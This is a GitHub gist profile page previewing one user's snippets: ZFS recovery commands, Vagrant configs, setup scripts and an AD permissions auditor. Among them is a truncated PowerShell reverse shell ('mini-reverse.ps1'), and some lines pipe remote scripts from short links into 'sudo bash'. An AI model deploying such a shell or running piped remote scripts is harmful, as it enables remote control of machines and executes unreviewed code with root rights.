Skip to content

Instantly share code, notes, and snippets.

View elreydetoda's full-sized avatar

elreydetoda

View GitHub Profile
#!/usr/bin/env bash
zpool export -a
zpool import -N -R /mnt rpool
zpool import -N -R /mnt bpool
# skipping first rpool/ROOT and initial root (i.e. rpool/ROOT/ubuntu), because doesn't have tailing '/' so grabs numbers
zfs list | grep ROOT | tail -n+3
zfs mount rpool/ROOT/ubuntu
zfs mount -a
mount --rbind /dev /mnt/dev
@elreydetoda
elreydetoda / zfs_cmdz.sh
Last active October 23, 2019 03:07
these are the zfs mount and unmount commands based on this: https://github.com/zfsonlinux/zfs/wiki/Ubuntu-18.04-Root-on-ZFS#troubleshooting
#!/usr/bin/env bash
## run all commands by doing
# curl -fsSL 'https://git.io/Je0e6' | sudo bash
## running mount commands
curl -fsSL 'https://git.io/Je0eX' | sudo bash
## running umount commands
# get out of chroot
@elreydetoda
elreydetoda / mini-reverse.ps1
Created November 1, 2019 14:53 — forked from staaldraad/mini-reverse.ps1
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
@elreydetoda
elreydetoda / samurai_build-export.sh
Created March 23, 2020 12:04
build script for automating samuraiwtf builds
#!/usr/bin/env bash
set -euo pipefail
# set -x
if [[ $# -ne 1 ]] ; then
printf "Please pass at least 1 arguments: %s\n" "path to samurai src folder"
exit 1
fi
@elreydetoda
elreydetoda / Vagrantfile
Last active March 27, 2020 06:57
[personal-blog] Vagrant snippet for x11 fowarding https://blog.elreydetoda.site/vim-clipboard-over-ssh/
# https://computingforgeeks.com/how-to-enable-and-use-ssh-x11-forwarding-on-vagrant-instances/
# used in https://github.com/elreydetoda/vagrant-files/
config.ssh.forward_agent = true
config.ssh.forward_x11 = true
@elreydetoda
elreydetoda / Vagrantfile
Last active March 27, 2020 07:01
[personal-blog] Vagrant file used for x11 fowarding blog post https://blog.elreydetoda.site/vim-clipboard-over-ssh/
# https://github.com/elreydetoda/vagrant-files/tree/master/bento_ubuntu-18.04
Vagrant.configure("2") do |config|
config.vm.box = "bento/ubuntu-18.04"
config.ssh.forward_agent = true
config.ssh.forward_x11 = true
config.vm.provision "shell", inline: <<-SHELL
apt-get update
apt-get install -y xauth
SHELL
end
@elreydetoda
elreydetoda / ubuntu-install.sh
Last active April 25, 2020 13:37
installing all things for ubuntu script
#!/usr/bin/env bash
set -exuo pipefail
##################################################
### Variables
## apt
apt_repos=(
'ppa:kgilmer/regolith-stable' # https://blog.elreydetoda.site/minimal-i3-gaps-install-ubuntu/
'ppa:linuxuprising/shutter' # awesome screenshotting software
@elreydetoda
elreydetoda / FindOUpermissions.ps1
Last active July 23, 2020 18:30 — forked from neKuehn/FindOUpermissions.ps1
A different PowerShell script that finds permissions assigned to OUs. This one must be run from a windows system joined to the domain to be queried.
function Get-OUPermissions{
<#
.SYNOPSIS
FindOuPermissions is a Windows PowerShell script that finds all of the different OUs in a domain,
determins the permissions assigned to different users and groups, and reports back which are different
from their parent; including what those permissions are.
This script does require that the device be joined to the domain being queried and RSAT is installed.
#!/usr/bin/env bash
set -${-//[s]/}eu${DEBUG+xv}o pipefail
season=(
'Spring'
'Summer'
'Fall'
'Autumn'
'Winter'
@elreydetoda
elreydetoda / ansible-semver.yml
Created August 30, 2020 10:11
an ansible playbook that does semantic version sorting, more here: https://github.com/diodonfrost/ansible-role-vagrant/pull/1
---
- hosts: localhost
tasks:
- name: Linux | Find all versions of Vagrant
uri:
url: https://releases.hashicorp.com/vagrant/index.json
return_content: yes
register: vagrant_index
# this was the original code from here: https://github.com/diodonfrost/ansible-role-vagrant/blob/master/tasks/setup-Linux.yml#L14